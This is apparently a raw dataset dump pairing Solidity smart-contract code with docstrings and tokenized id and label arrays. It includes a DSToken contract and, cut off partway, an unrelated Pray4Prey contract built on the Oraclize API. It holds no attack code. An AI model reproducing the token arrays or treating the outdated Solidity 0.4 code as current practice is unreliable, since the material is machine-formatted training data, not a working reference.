-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2020-10-05
*/
// File: solidity/contracts/token/interfaces/IERC20Token.sol
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
/*
ERC20 Standard Token interface
*/
interface IERC20Token {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
}
// File: solidity/contracts/utility/Utils.sol
pragma solidity 0.6.12;
/**
* @dev Utilities & Common Modifiers
*/
contract Utils {
// verifies that a value is greater than zero
modifier greaterThanZero(uint256 _value) {
_greaterThanZero(_value);
_;
}
// error message binary size optimization
function _greaterThanZero(uint256 _value) internal pure {
require(_value > 0, "ERR_ZERO_VALUE");
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
_validAddress(_address);
_;
}
// error message binary size optimization
function _validAddress(address _address) internal pure {
require(_address != address(0), "ERR_INVALID_ADDRESS");
}
// verifies that the address is different than this contract address
modifier notThis(address _address) {
_notThis(_address);
_;
}
// error message binary size optimization
function _notThis(address _address) internal view {
require(_address != address(this), "ERR_ADDRESS_IS_SELF");
}
}
// File: solidity/contracts/utility/SafeMath.sol
pragma solidity 0.6.12;
/**
* @dev Library for basic math operations with overflow/underflow protection
*/
library SafeMath {
/**
* @dev returns the sum of _x and _y, reverts if the calculation overflows
*
* @param _x value 1
* @param _y value 2
*
* @return sum
*/
function add(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x + _y;
require(z >= _x, "ERR_OVERFLOW");
return z;
}
/**
* @dev returns the difference of _x minus _y, reverts if the calculation underflows
*
* @param _x minuend
* @param _y subtrahend
*
* @return difference
*/
function sub(uint256 _x, uint256 _y) internal pure returns (uint256) {
require(_x >= _y, "ERR_UNDERFLOW");
return _x - _y;
}
/**
* @dev returns the product of multiplying _x by _y, reverts if the calculation overflows
*
* @param _x factor 1
* @param _y factor 2
*
* @return product
*/
function mul(uint256 _x, uint256 _y) internal pure returns (uint256) {
// gas optimization
if (_x == 0) return 0;
uint256 z = _x * _y;
require(z / _x == _y, "ERR_OVERFLOW");
return z;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*
* @param _x dividend
* @param _y divisor
*
* @return quotient
*/
function div(uint256 _x, uint256 _y) internal pure returns (uint256) {
require(_y > 0, "ERR_DIVIDE_BY_ZERO");
uint256 c = _x / _y;
return c;
}
}
// File: solidity/contracts/token/ERC20Token.sol
pragma solidity 0.6.12;
/**
* @dev ERC20 Standard Token implementation
*/
contract ERC20Token is IERC20Token, Utils {
using SafeMath for uint256;
string public override name;
string public override symbol;
uint8 public override decimals;
uint256 public override totalSupply;
mapping(address => uint256) public override balanceOf;
mapping(address => mapping(address => uint256)) public override allowance;
/**
* @dev triggered when tokens are transferred between wallets
*
* @param _from source address
* @param _to target address
* @param _value transfer amount
*/
event Transfer(address indexed _from, address indexed _to, uint256 _value);
/**
* @dev triggered when a wallet allows another wallet to transfer tokens from on its behalf
*
* @param _owner wallet that approves the allowance
* @param _spender wallet that receives the allowance
* @param _value allowance amount
*/
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/**
* @dev initializes a new ERC20Token instance
*
* @param _name token name
* @param _symbol token symbol
* @param _decimals decimal points, for display purposes
* @param _totalSupply total supply of token units
*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 _totalSupply
) public {
// validate input
require(bytes(_name).length > 0, "ERR_INVALID_NAME");
require(bytes(_symbol).length > 0, "ERR_INVALID_SYMBOL");
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
}
/**
* @dev transfers tokens to a given address
* throws on any error rather then return a false flag to minimize user errors
*
* @param _to target address
* @param _value transfer amount
*
* @return true if the transfer was successful, false if it wasn't
*/
function transfer(address _to, uint256 _value) public virtual override validAddress(_to) returns (bool) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev transfers tokens to a given address on behalf of another address
* throws on any error rather then return a false flag to minimize user errors
*
* @param _from source address
* @param _to target address
* @param _value transfer amount
*
* @return true if the transfer was successful, false if it wasn't
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public virtual override validAddress(_from) validAddress(_to) returns (bool) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev allows another account/contract to transfers tokens on behalf of the caller
* throws on any error rather then return a false flag to minimize user errors
*
* @param _spender approved address
* @param _value allowance amount
*
* @return true if the approval was successful, false if it wasn't
*/
function approve(address _spender, uint256 _value) public virtual override validAddress(_spender) returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
}
// File: solidity/contracts/utility/interfaces/IOwned.sol
pragma solidity 0.6.12;
/*
Owned contract interface
*/
interface IOwned {
// this function isn't since the compiler emits automatically generated getter functions as external
function owner() external view returns (address);
function transferOwnership(address _newOwner) external;
function acceptOwnership() external;
}
// File: solidity/contracts/converter/interfaces/IConverterAnchor.sol
pragma solidity 0.6.12;
/*
Converter Anchor interface
*/
interface IConverterAnchor is IOwned {
}
// File: solidity/contracts/token/interfaces/IDSToken.sol
pragma solidity 0.6.12;
/*
DSToken interface
*/
interface IDSToken is IConverterAnchor, IERC20Token {
function issue(address _to, uint256 _amount) external;
function destroy(address _from, uint256 _amount) external;
}
// File: solidity/contracts/utility/Owned.sol
pragma solidity 0.6.12;
/**
* @dev Provides support and utilities for contract ownership
*/
contract Owned is IOwned {
address public override owner;
address public newOwner;
/**
* @dev triggered when the owner is updated
*
* @param _prevOwner previous owner
* @param _newOwner new owner
*/
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
* @dev initializes a new Owned instance
*/
constructor() public {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly() {
_ownerOnly();
_;
}
// error message binary size optimization
function _ownerOnly() internal view {
require(msg.sender == owner, "ERR_ACCESS_DENIED");
}
/**
* @dev allows transferring the contract ownership
* the new owner still needs to accept the transfer
* can only be called by the contract owner
*
* @param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public override ownerOnly {
require(_newOwner != owner, "ERR_SAME_OWNER");
newOwner = _newOwner;
}
/**
* @dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public override {
require(msg.sender == newOwner, "ERR_ACCESS_DENIED");
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// File: solidity/contracts/token/DSToken.sol
pragma solidity 0.6.12;
/**
* @dev DSToken represents a token with dynamic supply.
* The owner of the token can mint/burn tokens to/from any account.
*
*/
contract DSToken is IDSToken, ERC20Token, Owned {
using SafeMath for uint256;
/**
* @dev triggered when the total supply is increased
*
* @param _amount amount that gets added to the supply
*/
event Issuance(uint256 _amount);
/**
* @dev triggered when the total supply is decreased
*
* @param _amount amount that gets removed from the supply
*/
event Destruction(uint256 _amount);
/**
* @dev initializes a new DSToken instance
*
* @param _name token name
* @param _symbol token short symbol, minimum 1 character
* @param _decimals for display purposes only
*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) public ERC20Token(_name, _symbol, _decimals, 0) {}
/**
* @dev increases the token supply and sends the new tokens to the given account
* can only be called by the contract owner
*
* @param _to account to receive the new amount
* @param _amount amount to increase the supply by
*/
function issue(address _to, uint256 _amount) public override ownerOnly validAddress(_to) notThis(_to) {
totalSupply = totalSupply.add(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
emit Issuance(_amount);
emit Transfer(address(0), _to, _amount);
}
/**
* @dev removes tokens from the given account and decreases the token supply
* can only be called by the contract owner
*
* @param _from account to remove the amount from
* @param _amount amount to decrease the supply by
*/
function destroy(address _from, uint256 _amount) public override ownerOnly {
balanceOf[_from] = balanceOf[_from].sub(_amount);
totalSupply = totalSupply.sub(_amount);
emit Transfer(_from, address(0), _amount);
emit Destruction(_amount);
}
// ERC20 standard method overrides with some extra functionality
/**
* @dev send coins
* throws on any error rather then return a false flag to minimize user errors
* in addition to the standard checks, the function throws if transfers are disabled
*
* @param _to target address
* @param _value transfer amount
*
* @return true if the transfer was successful, false if it wasn't
*/
function transfer(address _to, uint256 _value) public override(IERC20Token, ERC20Token) returns (bool) {
return super.transfer(_to, _value);
}
/**
* @dev an account/contract attempts to get the coins
* throws on any error rather then return a false flag to minimize user errors
* in addition to the standard checks, the function throws if transfers are disabled
*
* @param _from source address
* @param _to target address
* @param _value transfer amount
*
* @return true if the transfer was successful, false if it wasn't
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public override(IERC20Token, ERC20Token) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
| * @dev triggered when the total supply is increased @param _amount amount that gets added to the supply/* @dev triggered when the total supply is decreased @param _amount amount that gets removed from the supply/* @dev initializes a new DSToken instance @param _name token name @param _symbol token short symbol, minimum 1 character @param _decimals for display purposes only/ | ) public ERC20Token(_name, _symbol, _decimals, 0) {}
| 2,521,845 | [
1,
10668,
329,
1347,
326,
2078,
14467,
353,
31383,
225,
389,
8949,
225,
3844,
716,
5571,
3096,
358,
326,
14467,
19,
225,
10861,
1347,
326,
2078,
14467,
353,
23850,
8905,
225,
389,
8949,
225,
3844,
716,
5571,
3723,
628,
326,
14467,
19,
225,
11643,
279,
394,
463,
882,
969,
791,
225,
389,
529,
4202,
1147,
508,
225,
389,
7175,
377,
1147,
3025,
3273,
16,
5224,
404,
3351,
225,
389,
31734,
282,
364,
2562,
13694,
1338,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
262,
1071,
4232,
39,
3462,
1345,
24899,
529,
16,
389,
7175,
16,
389,
31734,
16,
374,
13,
2618,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//Address: 0x807a3ef8a8dbdd7fc9863df695bbe8691e450e8e
//Contract name: Pray4Prey
//Balance: 0 Ether
//Verification Date: 2/8/2017
//Transacion Count: 169
// CODE STARTS HERE
// <ORACLIZE_API>
/*
Copyright (c) 2015-2016 Oraclize SRL
Copyright (c) 2016 Oraclize LTD
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
pragma solidity ^0.4.0;//please import oraclizeAPI_pre0.4.sol when solidity < 0.4.0
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if(address(OAR)==0) oraclize_setNetwork(networkID_auto);
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ //mainnet
OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed);
return true;
}
if (getCodeSize(0xc03a2615d5efaf5f49f60b7bb6583eaec212fdf1)>0){ //ropsten testnet
OAR = OraclizeAddrResolverI(0xc03a2615d5efaf5f49f60b7bb6583eaec212fdf1);
return true;
}
if (getCodeSize(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf)>0){ //ether.camp ide
OAR = OraclizeAddrResolverI(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf);
return true;
}
if (getCodeSize(0x93bbbe5ce77034e3095f0479919962a903f898ad)>0){ //norsborg testnet
OAR = OraclizeAddrResolverI(0x93bbbe5ce77034e3095f0479919962a903f898ad);
return true;
}
if (getCodeSize(0x51efaf4c8b3c9afbd5ab9f4bbc82784ab6ef8faa)>0){ //browser-solidity
OAR = OraclizeAddrResolverI(0x51efaf4c8b3c9afbd5ab9f4bbc82784ab6ef8faa);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int)
{
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
// parseInt
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
// parseInt(parseFloat*10^_b)
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
}
// </ORACLIZE_API>
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private {
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/**
* @dev Returns a slice containing the entire string.
* @param self The string to make a slice from.
* @return A newly allocated slice containing the entire string.
*/
function toSlice(string self) internal returns (slice) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
/**
* @dev Returns the length of a null-terminated bytes32 string.
* @param self The value to find the length of.
* @return The length of the string, from 0 to 32.
*/
function len(bytes32 self) internal returns (uint) {
uint ret;
if (self == 0)
return 0;
if (self & 0xffffffffffffffffffffffffffffffff == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (self & 0xffffffffffffffff == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (self & 0xffffffff == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (self & 0xffff == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (self & 0xff == 0) {
ret += 1;
}
return 32 - ret;
}
/**
* @dev Returns a slice containing the entire bytes32, interpreted as a
* null-termintaed utf-8 string.
* @param self The bytes32 value to convert to a slice.
* @return A new slice containing the value of the input argument up to the
* first null.
*/
function toSliceB32(bytes32 self) internal returns (slice ret) {
// Allocate space for `self` in memory, copy it there, and point ret at it
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 0x20))
mstore(ptr, self)
mstore(add(ret, 0x20), ptr)
}
ret._len = len(self);
}
/**
* @dev Returns a new slice containing the same data as the current slice.
* @param self The slice to copy.
* @return A new slice containing the same data as `self`.
*/
function copy(slice self) internal returns (slice) {
return slice(self._len, self._ptr);
}
/**
* @dev Copies a slice to a new string.
* @param self The slice to copy.
* @return A newly allocated string containing the slice's text.
*/
function toString(slice self) internal returns (string) {
var ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
/**
* @dev Returns the length in runes of the slice. Note that this operation
* takes time proportional to the length of the slice; avoid using it
* in loops, and call `slice.empty()` if you only need to know whether
* the slice is empty or not.
* @param self The slice to operate on.
* @return The length of the slice in runes.
*/
function len(slice self) internal returns (uint) {
// Starting at ptr-31 means the LSB will be the byte we care about
var ptr = self._ptr - 31;
var end = ptr + self._len;
for (uint len = 0; ptr < end; len++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
return len;
}
/**
* @dev Returns true if the slice is empty (has a length of 0).
* @param self The slice to operate on.
* @return True if the slice is empty, False otherwise.
*/
function empty(slice self) internal returns (bool) {
return self._len == 0;
}
/**
* @dev Returns a positive number if `other` comes lexicographically after
* `self`, a negative number if it comes before, or zero if the
* contents of the two slices are equal. Comparison is done per-rune,
* on unicode codepoints.
* @param self The first slice to compare.
* @param other The second slice to compare.
* @return The result of the comparison.
*/
function compare(slice self, slice other) internal returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
var selfptr = self._ptr;
var otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant bytes and check again
uint mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
var diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/**
* @dev Returns true if the two slices contain the same text.
* @param self The first slice to compare.
* @param self The second slice to compare.
* @return True if the slices are equal, false otherwise.
*/
function equals(slice self, slice other) internal returns (bool) {
return compare(self, other) == 0;
}
/**
* @dev Extracts the first rune in the slice into `rune`, advancing the
* slice to point to the next rune and returning `self`.
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `rune`.
*/
function nextRune(slice self, slice rune) internal returns (slice) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint len;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
len = 1;
} else if(b < 0xE0) {
len = 2;
} else if(b < 0xF0) {
len = 3;
} else {
len = 4;
}
// Check for truncated codepoints
if (len > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += len;
self._len -= len;
rune._len = len;
return rune;
}
/**
* @dev Returns the first rune in the slice, advancing the slice to point
* to the next rune.
* @param self The slice to operate on.
* @return A slice containing only the first rune from `self`.
*/
function nextRune(slice self) internal returns (slice ret) {
nextRune(self, ret);
}
/**
* @dev Returns the number of the first codepoint in the slice.
* @param self The slice to operate on.
* @return The number of the first codepoint in the slice.
*/
function ord(slice self) internal returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint len;
uint div = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
var b = word / div;
if (b < 0x80) {
ret = b;
len = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
len = 2;
} else if(b < 0xF0) {
